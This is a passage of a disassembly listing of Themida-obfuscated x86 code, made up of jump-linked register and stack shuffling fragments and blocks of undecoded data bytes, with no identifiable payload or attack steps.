; ---------------------------------------------------------------------------
		dw 489h
		dd 69176824h, 48B5411h,	0E21DE924h, 0BB53FFFFh,	0FFFFFFFFh
		dd 0E95BDF01h, 0FFFF9274h, 62A6BB53h, 0D3F75FEBh, 0FFC197E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54F7ED:				; CODE XREF: Themida_:00545672j
		add	ebp, 4
		add	ebp, 2
		push	ebp
		jmp	loc_54CD43
; ---------------------------------------------------------------------------
		dd 1676B850h, 6E053364h, 292FE5FFh, 0ED8158C5h,	0BAB72F77h
		dd 0AE93E957h, 0CD01FFFFh, 0FFB1CCE9h, 41F605FFh, 0E8296FB8h
		dd 0B841F62Dh, 0E9595D6Fh, 0FFFF64E1h, 8BFA315Bh, 0C483243Ch
		dd 0A1F28104h, 815F4162h, 0E56B86EAh, 2AC2817Eh, 8158AF34h
		dd 116501CAh, 61E1E945h, 814EFFFFh, 555BADEEh, 0E9535745h
		dd 0FFFFA99Ch, 562068h,	24148900h, 9C6855h, 815D7F3Ah
		dd 0ECFC22EDh, 94E4E988h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F87E:				; CODE XREF: Themida_:0054DC07j
		add	dword ptr [edx], 1
		push	dword ptr [esp]
		pop	edx
		jmp	loc_550BD5
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 43h
		dd 2124F205h, 0E6815FFEh, 1980270Eh, 0C106EEC1h, 40E903EEh
		dd 33FFFFECh, 248B240Ch, 0C896624h, 0B60F6624h,	459E9C8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54F8BA:				; CODE XREF: Themida_:00550C25j
		sub	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_549B59
; ---------------------------------------------------------------------------
		db 58h
		dd 0F704EEC1h, 46BB53D6h, 31E54D9Fh, 0F0315BDEh, 6853515Eh
		dd 5534C84h, 0A06CE95Bh, 0EA83FFFFh, 882BE904h,	0F001FFFFh
		dd 0BF57515Eh, 7554543Bh, 545439B9h, 5FF93175h,	0C8BC801h
		dd 0C85EE924h, 8355FFFFh, 7E904ECh, 89000015h, 0D62958C6h
		dd 0FFE98DE9h, 4C681FFh, 81000000h, 4C6h, 24348700h, 0FFB18EE9h
		dd 48B66FFh, 8B545624h,	89572434h, 4C781E7h, 81000000h
		dd 4C7h, 243C8700h, 0D76E95Ch, 81660000h, 665B07CAh, 2BBE6656h
		dd 0F23166D2h, 64E95E66h, 0D1FFFF58h, 0D6F74EE6h, 351EF681h
		dd 0F5014857h, 242C875Eh, 6624248Bh, 5224048Bh,	8904EC83h
		dd 4812424h, 424h, 24148B00h, 0FF7B73E9h, 8BE829FFh, 13E9242Ch
		db 7Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F9A3:				; CODE XREF: Themida_:00547B34j
		push	ecx
		mov	ecx, 4
		jmp	loc_547B63
; ---------------------------------------------------------------------------
		dw 0D4F6h
		dd 0FF937DE9h, 0AFED81FFh, 5A139837h, 0EDBF5750h, 0B83CBF32h
		dd 0C340CD17h, 3C8BF801h, 4C48124h, 0E9000000h,	0FFFFB738h
		dd 55E78957h, 1712E9h, 14895C00h, 7B06E924h, 0EC83FFFFh
		dd 48F5404h, 24048324h,	0B9515804h, 4, 0C8BC801h, 4C48324h
		dd 0FF8D29E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54FA09:				; CODE XREF: Themida_:00548BAEj
		push	dword ptr [esp]
		pop	edx
		push	ecx
		jmp	loc_54E548
; ---------------------------------------------------------------------------


loc_54FA13:				; CODE XREF: Themida_:0054E274j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_550DE7
; ---------------------------------------------------------------------------
		dd 0D7F7DFF7h, 4EC81h, 0C890000h, 50A3B924h, 0E18142CCh
		dd 2A2C1B20h, 5093C981h, 0C1815DEDh, 0DDDE28CFh, 0C8BCF01h
		dd 4C48324h, 8D8BC781h,	0F8297070h, 53243C8Bh, 0C381E389h
		dd 4, 0FF9C96E9h, 248B66FFh, 507FE924h,	0E955FFFFh, 0FFFFE4C4h
		dd 4C181h, 0C1830000h, 240C8704h, 0E13E95Ch, 0EC880000h
		dd 81240C8Bh, 4C4h, 7301E900h, 0E95BFFFFh, 0FFFF8DEBh
		dd 11BE381h, 0D1684D9Bh, 0E9000009h, 0FFFF937Fh, 240C895Ch
		dd 5236B050h, 0DEF6DCB6h, 0FF7BAEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54FAC1:				; CODE XREF: Themida_:0054B59Cj
		sub	ebx, edx
		mov	edx, ebx
		pop	ebx
		jmp	loc_547AA7
; ---------------------------------------------------------------------------
		db 66h
		dd 1EE932FFh
		db 50h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FAD3:				; CODE XREF: Themida_:0054725Ej
		pop	esp
		mov	[esp], esi
		push	dword ptr [esp]
		jmp	loc_54AC42
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 241CD359h, 5003E99Ch, 0CA01FFFFh,	0FFA2EDE9h
		dd 2C783FFh, 0FF7842E9h, 7E9E68FFh, 14890000h, 89535524h
		dd 8BDD89C3h, 8956241Ch, 4C681E6h, 81000000h, 4C6h, 24343300h
		dd 33243431h, 515C2434h, 0C0E9E989h, 5A00000Ch,	0E901E980h
		dd 0FFFF65A0h, 8324048Bh, 3C8B04C4h, 4C48124h, 0E9000000h
		dd 0FFFF65B6h
; ---------------------------------------------------------------------------


loc_54FB4C:				; CODE XREF: Themida_:0054BF11j
		mov	ecx, 3FCh
		push	eax
		jmp	loc_54BE94
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483243Ch, 0BB535104h, 60BC58C0h, 0FFF765E9h, 0B5E955FFh
		db 6Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FB6F:				; CODE XREF: Themida_:00544FBBj
		neg	edi
		add	edi, 0F650ECBh
		sub	edi, 6659A60Bh
		mov	ecx, edi
		jmp	loc_54B4C8
; ---------------------------------------------------------------------------
		dd 8850D5F6h, 58C288E8h, 240C8B66h, 2C481h, 0B7530000h
		dd 0DCEF8073h, 0B6E9FA30h
		db 8Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FBA3:				; CODE XREF: Themida_:0054FEE8j
		pop	esp
		shr	eax, 0Eh
		xor	eax, ecx
		push	eax
		sub	esp, 4
		jmp	loc_545532
; ---------------------------------------------------------------------------
		db 0B7h, 89h, 53h
		dd 0EB8024B3h, 7E3C0F7h, 5156EB80h, 28E921B1h, 4BFFFFC1h
		dd 4D6ECB81h, 0CB81068Dh, 4993FA4h, 3DA8BE56h, 0F30943D0h
		dd 0E950575Eh, 0FFFF81F3h, 0A9195D2Dh, 0F607E958h, 0E981FFFFh
		dd 3BBB79BBh, 8159CD01h, 2C5h, 242C3300h, 33242C31h, 84E9242Ch
		dd 81FFFFD7h, 42404h, 815F0000h, 4C7h, 2B85000h, 50000000h
		dd 871219B8h, 27EC3508h, 1D3577E8h, 51424875h, 0C023F8B9h
		dd 5532E929h, 0D501FFFFh, 0FFE1F1E9h, 0D831ADFFh, 5B0B68h
		dd 243C8900h, 0E82A65BFh, 71A9E954h, 0E189FFFFh, 4C181h
		dd 0C1810000h, 4, 8B240C87h, 0E1F72424h, 0FFBBFAE9h, 5FFB01FFh
		dd 4E46C381h, 0EB8106B1h, 20C946F9h, 0C381FB29h, 20C946F9h
		dd 4E46EB81h, 44E906B1h, 8100000Bh, 677F05C2h, 0B6C2817Ah
		dd 0E98570BEh, 0FFFFADA2h, 0C081E480h, 0C4FE04ECh, 882DC480h
		dd 0F58658E5h, 88EF8853h, 5BFE88F5h, 0FF8A2AE9h, 2EB9BAFFh
		dd 0C28109C1h, 2F6371h,	0E906EAC1h, 0FFFFCECEh
; ---------------------------------------------------------------------------


loc_54FCD8:				; CODE XREF: Themida_:0055066Aj
		mov	eax, 4
		add	ecx, eax
		pop	eax
		xchg	ecx, [esp]
		jmp	loc_54D147
; ---------------------------------------------------------------------------
		dd 2F56852h, 815A5200h,	4E453BEAh, 8EAC175h, 2C1BE281h
		dd 0B85056EDh, 183A5C95h, 483BA22Dh, 1B792D7Ch,	0F3E94A7Ch
		dd 66FFFF78h, 0D6E99C51h, 80FFFF4Dh, 0EF006EF5h, 592434FFh
		dd 81E28952h, 4C2h, 4C28300h, 0E9241487h, 0FFFFB46Dh
; ---------------------------------------------------------------------------


loc_54FD38:				; CODE XREF: Themida_:00546E6Bj
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_54DDDC
; ---------------------------------------------------------------------------
		db 2Dh,	20h, 17h
		dd 0BF2D6F7Eh, 89B70D76h, 0E9C158C1h, 17E95305h, 83FFFFB6h
		dd 89E904ECh, 0F6FFFFA1h, 77F280D2h, 5AD028h, 0E93D04D8h
		dd 0FFFFE8D0h, 671C7BEh, 0A3EDE93Dh, 0DD68FFFFh, 0E9000021h
		dd 0D8Eh, 0B951EB01h, 0ABE4743h, 97E9CB29h, 0C0000014h
		dd 0EA8007EAh, 0E9CAFEEEh, 0FFFF6502h, 0E904C483h, 0FFFFF38Fh
		dd 83240C8Bh, 2C8B04C4h, 305E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54FDB6:				; CODE XREF: Themida_:0054999Fj
		add	edx, 4
		jmp	loc_54C1BE
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 0FFC7E5E9h, 4F000FFh, 0D8005AE4h, 0C66E953h,	0E6890000h
		dd 4C681h, 0DFE90000h
		db 5Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FDE3:				; CODE XREF: Themida_:00544CB0j
		push	ebp
		push	esi
		jmp	loc_546FD0
; ---------------------------------------------------------------------------
		dw 4B05h
		dd 0E9367435h, 0FFFFCCFDh, 0EBC1815Dh, 1735C20h, 5C6BE9D9h
		dd 8352FFFFh, 248904ECh, 4BE5624h, 0E9000000h, 0FFFFAA42h
		dd 0E9242C89h, 0FFFF9A78h
; ---------------------------------------------------------------------------


loc_54FE1C:				; CODE XREF: Themida_:005470E5j
		neg	ecx
		add	ecx, 5BD68DC7h
		sub	edx, ecx
		jmp	loc_547FE9
; ---------------------------------------------------------------------------


loc_54FE2B:				; CODE XREF: Themida_:0054C839j
		mov	edi, 7AF3ACFh
		jmp	loc_54604C
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 4EC81h, 1C890000h, 515B5424h, 35DCB9h, 6EC1815Ch, 0E9299772h
		dd 0FFFF9DE9h, 50241489h, 4C93E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FE5E:				; CODE XREF: Themida_:0054A7CAj
		and	edi, 78C423C1h
		xor	edi, 48402005h
		sub	ebp, edi
		pop	edi
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_54F332
; ---------------------------------------------------------------------------


loc_54FE89:				; CODE XREF: Themida_:0054B462j
		add	eax, 4
		push	esi
		mov	esi, 4
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		push	eax
		jmp	loc_5496DE
; ---------------------------------------------------------------------------
		dw 0E388h
		dd 8324048Bh, 0B9B504C4h, 80E7CD80h, 0EAE925CDh, 29FFFFBEh
		dd 240C8BCBh, 0E9E18951h, 0FFFF5B8Ch, 2204D800h, 0FFF174E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54FECD:				; CODE XREF: Themida_:0054A497j
		sub	eax, ebp
		add	eax, 4BE531AAh
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_547454
; ---------------------------------------------------------------------------


loc_54FEDF:				; CODE XREF: Themida_:0054D775j
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_54FBA3
; ---------------------------------------------------------------------------
		db 88h,	0E6h, 58h
		dd 8B5AF188h, 68E9241Ch, 89FFFF86h, 0C2E9242Ch,	0F7FFFF97h
		dd 3E0C1D8h, 0B6E49935h, 58C201C2h, 83E9C201h, 59FFFFDFh
		dd 8DE9C501h
		db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FF1F:				; CODE XREF: Themida_:0054D8F7j
		xchg	edi, [esp]
		pop	esp
		jmp	loc_54DD80
; ---------------------------------------------------------------------------
		dd 42474FFh, 8124048Bh,	4ECh, 24348900h
		db 89h,	0E6h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		mov	edi, 4
		sub	esi, 68461C8Ah
		jmp	loc_54E72F
; ---------------------------------------------------------------------------
		db 81h
		dd 0E86AB9CFh, 0E7C1470Dh, 0DEEF8104h, 0E9DFC7EBh, 0FFFFEE67h
		dd 26E9EF01h, 66FFFF7Ah, 0BA665257h, 81660A47h,	667A92E2h
		dd 0EA816642h, 8966D1C2h, 24148BD7h, 6604C483h,	5F66FB89h
		dd 3FEB8166h, 0DA896638h, 4481665Bh, 5D960224h,	24540166h
		dd 39686602h, 14896660h, 0E65BE924h, 4FFFFFFh, 0FBE99C24h
		dd 0F6FFFFB5h, 0D0C1FED1h, 6E1C0E9h, 0B3535266h, 80F5B65Ah
		dd 9DE969C6h, 89FFFFC6h, 4B9240Ch, 0E9000000h, 0FFFFFECBh
		dd 8B2434FFh, 2E92404h,	0BBFFFF4Bh, 16D04918h, 4EC81h
		dd 2C890000h, 6D45BD24h, 0EB01317Fh, 53242C8Bh,	0B8505B54h
		dd 0F2B29DEh, 0F7D0F748h, 22110DD0h, 2D4026CBh,	2FEB2BDAh
		dd 8158C301h, 4C3h, 241C8700h, 0FFB300E9h, 0BBE280FFh
		dd 0C005E2C0h, 0F28007EAh, 5AD328CFh, 0FFCE3AE9h, 0E28952FFh
		dd 0FF6A3AE9h, 4C381FFh, 51000000h, 1FE1BA52h, 0EAC1637Bh
		dd 47C28106h, 0F701323Dh, 0CAC281DAh, 8902C029h, 0CB015AD1h
		dd 0FFE811E9h, 0E5E94DFFh, 89FFFFD3h, 478F2434h, 24348B24h
		dd 0AD9E9h, 8E8C100h, 0CBBD5548h, 1D8721Bh, 0C6015DE8h
		dd 4EC8358h, 81243489h,	4526242Ch, 1CE971EDh, 66FFFFDDh
		dd 36E9028Fh, 83FFFF4Ah, 26E904C4h
		db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5500C3:				; CODE XREF: Themida_:0054F393j
		add	ebp, 7A784289h
		inc	ebp
		jmp	loc_547989
; ---------------------------------------------------------------------------


loc_5500CF:				; CODE XREF: Themida_:0054599Aj
		add	edi, 4
		sub	edi, 4
		jmp	loc_5486CC
; ---------------------------------------------------------------------------


loc_5500E0:				; CODE XREF: Themida_:0054AD7Cj
		add	esp, 4
		jmp	loc_54BFA1
; ---------------------------------------------------------------------------
		db 2Dh
		dd 2E45385Ah, 7247BF57h, 0F829208Ch, 23C52D5Fh,	0EC830D11h
		dd 241C8904h, 0D720EEBBh, 0EB814B62h, 0FFFFFFFFh, 6A83F381h
		dd 0E4E91D2Ah
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55011B:				; CODE XREF: Themida_:0054CF08j
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5491D1
; ---------------------------------------------------------------------------
		db 87h,	0DDh, 43h
		dd 0F581DD87h, 67FC76FAh, 2B8EF581h, 0E82914B3h, 0E9242C8Bh
		dd 0FFFF5F78h, 90E9CA01h, 0F7FFFF9Eh, 72BA52D7h, 4A597E48h
		dd 7B12BE56h, 0F2016FDDh, 0FF4AD8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550165:				; CODE XREF: Themida_:0054AFCCj
		push	eax
		mov	eax, 2461750Ch
		push	ecx
		mov	ecx, 7F671A87h
		dec	ecx
		add	ecx, 2C76BB0h
		shl	ecx, 5
		add	ecx, 0FFFFFFFFh
		add	ecx, 0F31E8A41h
		xor	eax, ecx
		pop	ecx
		push	63A1h
		mov	[esp], ebp
		push	ecx
		push	eax
		mov	eax, 6FD4490Bh
		mov	ecx, eax
		pop	eax
		xor	ecx, 215A7C95h
		mov	ebp, ecx
		pop	ecx
		sub	eax, ebp
		pop	ebp
		add	eax, 0FFFFFFFFh
		xor	eax, 6CC26EE9h
		add	eax, 5EC27F80h
		jmp	loc_54BF16
; ---------------------------------------------------------------------------
		db 58h,	0E9h, 19h
		dd 81FFFFF8h, 0A97127C9h, 26C1813Bh, 8128823Fh,	0A34A49F1h
		dd 59CD2154h, 0CD81EDD1h, 75CB0EA6h, 50B7B850h,	6055392h
		dd 0E9288478h, 0FFFFBF0Eh, 6883C381h, 31580436h, 241C8BD8h
		dd 4C481h, 0D8E90000h, 8BFFFFAFh, 34FF2424h, 54575824h
		dd 5F2434FFh, 81E18951h, 4C1h, 4C18100h, 87000000h, 815C240Ch
		dd 4C7h, 6D1EE900h, 0E95BFFFFh,	0FFFF929Fh, 0E1F7665Ch
		dd 0E95B5453h, 0FFFFA1C0h, 6866h, 8A243428h, 0C4832434h
		dd 0C3C68002h, 0FFD901E9h, 3FE952FFh, 0BEFFFF68h, 3BDC4AF5h
		dd 6C13BB53h, 43434199h, 8103EBC1h, 2447F9F3h, 0E9DBF730h
		dd 0FFFF6DE1h, 4C681h, 0B9510000h, 0D960B51h, 76DDF181h
		dd 68557201h, 80688278h, 0FF59E5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550295:				; CODE XREF: Themida_:0055033Fj
		pop	esp
		jmp	loc_54D574
; ---------------------------------------------------------------------------
		db 81h
		dd 42404h, 0E9590000h, 0FFFFD49Eh
; ---------------------------------------------------------------------------


loc_5502A8:				; CODE XREF: Themida_:005459AFj
		push	eax
		mov	eax, 6CE23278h
		or	eax, 33CE5549h
		jmp	loc_5505B3
; ---------------------------------------------------------------------------
		dd 9C242CD3h, 0FF4830E9h, 799FB9FFh, 0C9813313h, 19BA29BAh
		dd 4192C981h, 1BE91B28h
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5502D7:				; CODE XREF: Themida_:0054EDA7j
		push	24h
		pop	ebx
		jmp	loc_54DEA6
; ---------------------------------------------------------------------------
		dw 0FE89h
		dd 81D6F75Fh, 0FFFFFFEEh, 74AEE9FFh, 8F64FFFFh,	47F7E902h
		dd 0C89FFFFh, 47EFE924h, 405FFFFh, 51000000h, 4EC81h, 4890000h
		dd 4FFBE924h, 504AFFFFh, 0FFF9CBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55031D:				; CODE XREF: Themida_:00545565j
		sub	eax, 37768435h
		and	edx, eax
		pop	eax
		xor	edx, 4DE56863h
		push	ebp
		mov	ebp, 33D666EAh
		jmp	loc_549C35
; ---------------------------------------------------------------------------


loc_550336:				; CODE XREF: Themida_:005484C4j
		add	esi, ecx
		pop	ecx
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_550295
; ---------------------------------------------------------------------------
		dd 0C281DA01h, 14B81544h, 0FFCEF8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550351:				; CODE XREF: Themida_:00546CCEj
		pop	esi
		jmp	loc_54BC66
; ---------------------------------------------------------------------------
		db 89h
		dd 74FF241Ch, 1C8B0424h, 4C48324h, 5C24048Fh, 0FDE9F1F7h
		db 86h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55036F:				; CODE XREF: Themida_:0054BADDj
		mov	ebp, [esp]
		jmp	loc_550564
; ---------------------------------------------------------------------------
		dd offset dword_4D4248+2E20h
		align 4
		dd 0FF7D0EE9h, 24048FFFh, 0FFDD0EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550389:				; CODE XREF: Themida_:0054B43Bj
		sub	ebp, edx
		pop	edx
		jmp	loc_544C94
; ---------------------------------------------------------------------------
		db 29h,	0CAh, 0E9h
		dd 0FFFFBF9Eh, 5204C483h, 8DE9C7B2h, 89FFFFE2h,	240C8BC8h
		dd 0E904C483h, 0FFFF4762h, 0E9240489h, 0FFFF691Bh, 46C5BE56h
		dd 814619C7h, 3A2B07C6h, 2C815603h, 0BC466024h,	242C8B07h
		dd 4C481h, 0B9510000h, 7BC4660h, 0FF6A5BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5503E1:				; CODE XREF: Themida_:0054EB51j
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_545666
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0FFFF9C48h
; ---------------------------------------------------------------------------


loc_5503FC:				; CODE XREF: Themida_:005479B5j
		xor	esi, eax
		xor	eax, esi
		push	3A71h
		mov	[esp], ebx
		jmp	loc_544B74
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 85h
		dd 0E9378746h, 0FFFF7FF8h, 42474FFh, 0FFB3B1E9h, 4C483FFh
		dd 595AF488h, 48BE328h,	4C48324h, 0FFC0B60Fh, 5CE98734h
		dd 52FFFFE8h, 4BAh, 0EA9CE900h,	0D05FFFFh, 5A7FD52Fh, 6874BA52h
		dd 162D7CF0h, 13DBC1Eh,	1E1605D0h, 535A3DBCh, 0C5512CBBh
		dd 0F761E95Ah, 48BFFFFh, 4C48324h, 31243C33h, 3C33243Ch
		dd 0E1E95C24h, 81FFFF5Eh, 47BB9CF1h, 0FFCF01CAh, 1E92434h
		dd 89FFFFBEh, 6BB9240Ch, 53083561h, 220078BBh, 74D5E901h
		dd 0E389FFFFh, 4C381h, 0C3830000h, 0D656E904h, 34FFFFFFh
		dd 0D780E924h, 0FF66FFFFh, 0E99C2404h, 0FFFF8323h, 0E924248Bh
		dd 0FFFFDC8Eh, 6B2FB850h, 0E9517F1Bh, 0FFFFB6CBh, 6824248Bh
		dd 542Ch, 0FFA72CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5504E5:				; CODE XREF: Themida_:005491B9j
		push	ax
		pushf
		jmp	loc_544AF1
; ---------------------------------------------------------------------------


loc_5504ED:				; CODE XREF: Themida_:00545C10j
		not	esi
		not	esi
		sub	esi, 2EC3230Fh
		sub	edx, esi
		pop	esi
		and	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		shr	eax, 0Ch
		xor	eax, ecx
		xor	eax, edx
		jmp	loc_545D06
; ---------------------------------------------------------------------------
		db 1
		dd 2C875FFDh, 24248B24h, 24040166h, 45C7E99Ch, 3166FFFFh
		dd 76E9240Ch
		db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550533:				; CODE XREF: Themida_:005483CBj
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 2
		add	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_5458DE
; ---------------------------------------------------------------------------


loc_550564:				; CODE XREF: Themida_:00550372j
		add	esp, 4
		jmp	loc_54A5E0
; ---------------------------------------------------------------------------


loc_55056C:				; CODE XREF: Themida_:0054AC50j
		not	ebx
		jmp	loc_54EB0F
; ---------------------------------------------------------------------------


loc_550573:				; CODE XREF: Themida_:00545EF9j
		xor	edi, 836F8007h
		mov	esi, edi
		pop	edi
		inc	esi
		sub	esi, 5A337E82h
		shr	esi, 4
		not	esi
		push	ebx
		mov	ebx, 1AB3FA8h
		add	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	ebp, esi
		jmp	loc_5498A2
; ---------------------------------------------------------------------------
		dd 13BF575Fh, 141D934h,	0E2C15FFAh, 0A8E95003h
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5505B3:				; CODE XREF: Themida_:005502B3j
		or	eax, 4DF70151h
		or	eax, 0A40280Eh
		inc	eax
		push	ebp
		mov	ebp, 12EB2D62h
		and	eax, ebp
		pop	ebp
		push	ebp
		push	esi
		push	584F41B7h
		pop	esi
		shr	esi, 4
		add	esi, 5B6E4450h
		shr	esi, 7
		or	esi, 3EC01A29h
		add	esi, 0D4292E83h
		mov	ebp, esi
		pop	esi
		sub	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	ecx, eax
		pop	eax
		jmp	loc_550F46
; ---------------------------------------------------------------------------
		db 5Ch,	0D3h, 24h
		dd 0EAE99C24h, 1FFFF44h, 0F3295DEEh, 0D219E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550612:				; CODE XREF: Themida_:0054A6E7j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_54D232
; ---------------------------------------------------------------------------
		db 5Bh,	56h, 0E9h
		dd 0FFFFCF8Eh, 5FF83158h, 0A43CBE56h, 0BE563644h, 2257732Ch
		dd 0E907EEC1h, 0FFFF4760h, 67DEBB53h, 8753557Eh, 0D2F72414h
		dd 5B241487h, 0FF98B3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550669:				; CODE XREF: Themida_:0054A52Cj
		push	eax
		jmp	loc_54FCD8
; ---------------------------------------------------------------------------
		db 53h
		dd 0E9240CFFh, 0FFFFE63Ah, 8324048Bh, 3C8704C4h, 9250E924h
		dd 2C87FFFFh, 4895C24h,	4B824h,	5DE90000h
		db 5Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550697:				; CODE XREF: Themida_:0054F009j
		jmp	loc_544AF1
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0FFFF6BE1h, 5604C483h, 0C681E689h, 4, 0FFC07DE9h
		dd 52F280FFh, 0F280CAFEh, 0BDEA8093h, 0EA80DAF6h, 0E9D130A4h
		dd 0FFFF68D3h, 4C681h, 0F680000h, 8900001Bh, 0E6892434h
		dd 0FFD17AE9h, 241489FFh, 212F68h, 5F62E900h, 0E289FFFFh
		dd 4C281h, 80E90000h
		db 80h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5506FB:				; CODE XREF: Themida_:0054DDCAj
		mov	ebp, 4B6716A4h
		jmp	loc_54BD63
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 0FCE95724h
		db 4Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55070F:				; CODE XREF: Themida_:00544B6Fj
		add	bh, ch
		pop	cx
		add	bh, 94h
		mov	dl, bh
		mov	ebx, [esp]
		add	esp, 4
		shr	dl, 3
		sub	dl, 0CAh
		sub	bl, dl
		mov	edx, [esp]
		jmp	loc_54B06C
; ---------------------------------------------------------------------------


loc_55072E:				; CODE XREF: Themida_:005456CAj
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		push	2D44h
		mov	[esp], ebp
		mov	ebp, 8B673ACh
		shr	ebp, 7
		add	ebp, 1
		jmp	loc_548ED7
; ---------------------------------------------------------------------------
		dw 0F66h
		dd 9C2404ABh, 0FF4398E9h, 0BB5356FFh, 5ABE3853h, 0FF5227E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550765:				; CODE XREF: Themida_:00546D96j
		push	dword ptr [esp]
		jmp	loc_55107C
; ---------------------------------------------------------------------------


loc_55076D:				; CODE XREF: Themida_:0054C29Fj
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_5494DA
; ---------------------------------------------------------------------------
		dw 0EF05h
		dd 56101640h, 2AF3D2BEh, 5EF03181h, 56E9C101h, 8BFFFF87h
		dd 0C481240Ch, 4, 0FF4493E9h, 0C4835FFFh, 9ABD5504h, 0E9598753h
		dd 0FFFFF050h, 12DCC381h, 33E90611h, 83FFFF55h,	2C8704EDh
		dd 24248B24h, 83242489h, 48904ECh, 4B824h, 44810000h, 425F0424h
		dd 0E3E90750h, 81FFFF57h, 461AEEBh, 243C8B46h, 8304C483h
		dd 0D3E904ECh, 55FFFF49h, 0EA89CD89h, 2434FF5Dh, 4C48359h
		dd 57242C8Bh, 0C781E789h, 4, 4C781h, 0F2E90000h
		db 7Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550813:				; CODE XREF: Themida_:005491A7j
		sub	eax, 774B45E9h
		add	eax, ecx
		push	ebp
		mov	ebp, 774B45E9h
		add	eax, ebp
		pop	ebp
		add	eax, 74BF3952h
		push	ebp
		mov	ebp, 311B5F55h
		jmp	loc_547080
; ---------------------------------------------------------------------------


loc_550833:				; CODE XREF: Themida_:0054787Bj
		and	ebx, 5FED2B5Eh
		push	3F3Ah
		mov	[esp], edx
		mov	edx, 1A559B1h
		push	edi
		mov	edi, 6B7965C0h
		shl	edi, 5
		dec	edi
		jmp	loc_54D7D4
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0FF8658E9h, 81E929FFh, 0E81B1CC1h, 0E9525D62h, 0FFFF6AB7h
		dd 2474FF55h, 2434FF04h, 4C4835Dh, 0E924048Fh, 0FFFF983Fh
		dd 5D242C29h, 0B8505357h, 69310A50h, 0CCE9C389h, 1FFFF79h
		dd 24148BD1h, 0FFF4DDE9h, 0E28952FFh, 4C281h, 0EA810000h
		dd 4, 5C241487h, 54242C89h, 6AADE95Dh, 0F75CFFFFh, 6EBC1D3h
		dd 3E2BF57h, 0FB01580Dh, 0FFEB815Fh, 57FFFFFFh,	0FFA63FE9h
		dd 240C89FFh, 0FF62FBE9h, 50DBF7FFh, 5A278BB8h,	0CE054055h
		dd 81C0B67Dh, 366883EBh, 0E9C32904h, 0FFFFF8F4h
; ---------------------------------------------------------------------------


